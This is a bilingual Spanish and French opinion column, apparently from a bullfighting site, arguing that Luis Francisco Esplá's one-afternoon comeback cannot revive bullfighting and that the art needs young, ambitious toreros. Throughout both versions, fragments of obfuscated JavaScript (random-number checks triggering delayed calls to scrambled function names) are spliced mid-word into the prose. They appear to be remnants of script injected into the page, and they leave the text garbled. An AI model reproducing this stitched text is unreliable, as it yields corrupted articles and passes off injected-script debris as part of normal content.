SOBRE LA VUELTA DE ESPLÁ Y LOS VERDADEROS REVULSIVOSSUR LE RETOUR DE ESPLÁ ET LES VRAIS STIMULANTS

En un portal taurino de los más visitados, leo el resultado de una consulta donde la mayoría de encuestados se decanta favorable a la vuelta a los toros de Luis Francisco Esplá por suponer “un revulsivo para la Fiesta”. Un revulsivo es algo que, causandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando cierta conmoción, se revela saludable por la reacción que produce. Decir que la vuelta de Esplá es un revulsivo para el toreo, significa, pues, que su regreso es saludable por los efectos positivos que puede tener en el momento que atraviesa la Fiesta.

Los motivos que haya tenido Esplá para comprometerse a vestir de nuevo el traje de luces –vuelta, además, por un solo día– son cosa que sólo a él concierne; aunque, tal vez no estén muy alejados de aquel que pronunciara Ignacio Sánchez Mejías, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando aseguró que “No se muere en la plaza, sino en casa”, y eso que él moriría en el ruedo. Pero que haya quienes piensen que esa fugacísima reaparición puede suponer un revulsivo para la fiesta brava, me parece preocupante por lo que encierra de desconocimiento del toreo y del momento en que éste se encuentra.

En primer lugar, porque torear una sola tarde no puede pasar de ser una simple anécdota sin peso específico para ser revulsivo de nada, y en segundo, porque, aunque “viniera para quedarse”, la vitamina que necesita el toreo en estos momentos no puede suministrarse en cápsulas de añoranza o nostalgia, algunas de las cuales tienen ya superada su fecha de caducidad, sino con la marca de los nuevos productos que pretenden hacerse sitio en el mercado.

El revulsivo que la Fiesta precisa no es el de la serena maestría del veterano, sino el del ímpetu arrollador del “hambriento”, del que pone toda su juventud e ilusión en la balanza para hacerse un sitio entre los mejores. El toreo está falto de afición desmedida, locura, fuego, pasión, compromiso, ganas de superarse. Y eso sólo lo encontraremos en los alamares nuevos, cargados de sueños y esperanzas; alamares cautivados por el misterio del toreo; alamares que sufren muriéndose de ganas por cuajar un toro con el alma puesta en la muleta, con el sentimiento mecido en el capote, con la fe del que antepone el triunfo a todo lo demás tirándose a matar o morir sobre ese morrillo donde esperan al valiente la fama y los billetes.

No queremos bellas ruinas, aunque respetemos el valor que tuvieron; necesitamos nuevas semillas –algunas ya germinadas– para que la flor del toreo se alce con la pujanza de vida y futuro de una primavera. Honrar el ayer, pero con el sentido puesto en el mañana. Que el pasado nos sirva de cimiento; pero levantandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el edificio hacia el futuro; un futuro cargado de inéditos prodigios, de nuevas aventuras, donde la realidad gane terreno a lo impensable y donde la Fiesta, cada vez más hermosa, siga asombrándonos pariendo maravillas.

Dans l’un des sites taurins les plus visités, je lis les résultats d’un sondage où la majorité des sondés se déclare favorable au retour dans les arènes de Luis Francisco Esplá car il suppose «un stimulant pour la Corrida ». Un stimulant est quelque chose qui provoque un choc, qui se révèle salutaire par la réaction qu’il suscite.

Dire que le retour de Esplá est stimulant pour la Tauromachie signifie que son retour est salutaire par les effets qu’il produit par les effets positifs qu’il peut avoir sur la Corrida par les temps qui courent.

Les raisons qui ont poussé Esplá à porter de nouveau l’habit de lumières –retour, en plus, pour un seul jour- ne concernent que lui-même si elles ne doivent pas être très éloignées de celle qu’avait évoqué Ignacio Sánchez Mejías quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il affirma « qu’on ne meure pas dans les arènes, on meurt à la maison », alors que lui décéderait en piste. Mais qu’il y en ait qui pensent que cette fugace réapparition pourrait être un stimulant pour le spectacle taurin me semble préoccupant car il reflète une méconnaissance de la tauromachie et du moment qu’elle traverse.

En premier lieu, car le fait de ne toréer qu’une seule fois ne peut être qu’une simple anecdote avec une emprise insuffisante pour relancer quoi que ce soit, et par ailleurs, même s’il « revenait pour y rester », la vitamine dont a besoin la tauromachie en ce moment ne peut être administrée avec des capsules de vague à l’âme ou de nostalgie, dont certaines sont périmées, mais avec des marques de nouveaux qui prétendent se faire une place sur le marché.

Le stimulant dont la corrida a besoin n’est pas la sereine maestria du vétéran mais l’ardeur enflammée de celui qui a « faim », de celui qui met en jeu sa jeunesse et son destin pour se confronter aux plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands. Le toreo manque d’aficion démesurée, de folie, de feu, de passion, d’engagement, de volonté de se surpasser. Et cela on ne le retrouve que sur ceux qui portent les nouveaux habits de lumières, chargés d’espoirs et de rêves, des costumes subjugués par le mystère du toreo ; des costumes qui souffrent de ne pouvoir réaliser leur faena avec l’âme livrée à leur muleta, avec leur sentimiento bercé dans leur cape ou avec la foi qui les porte quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ils s’élancent sans craindre la mort à l’estocade, sur ce taureau qui leur offrira la gloire et l’argent.

Nous n’avons pas besoin de belles ruines, même si nous respectons le courage qu’ils montrèrent, nous avons besoin de nouvelles semences –dont certaines ont déjà germé- pour que la fleur de la tauromachie se hisse pleine de vie et avec l’avenir qu’amène le printemps. Honorer les temps passés, mais tournés vers le futur. Que le passé nous serve comme fondation pour lever de nouveaux édifices en pensant à ce qui vient, un avenir chargé de prodiges inédits, de nouvelles aventures, où la réalité gagne du terrain par rapport à ce qui est improbable et où la Corrida, toujours plus belle, continuera de nous ravir avec qu’elle accouche.

 

Les commentaires sont fermés.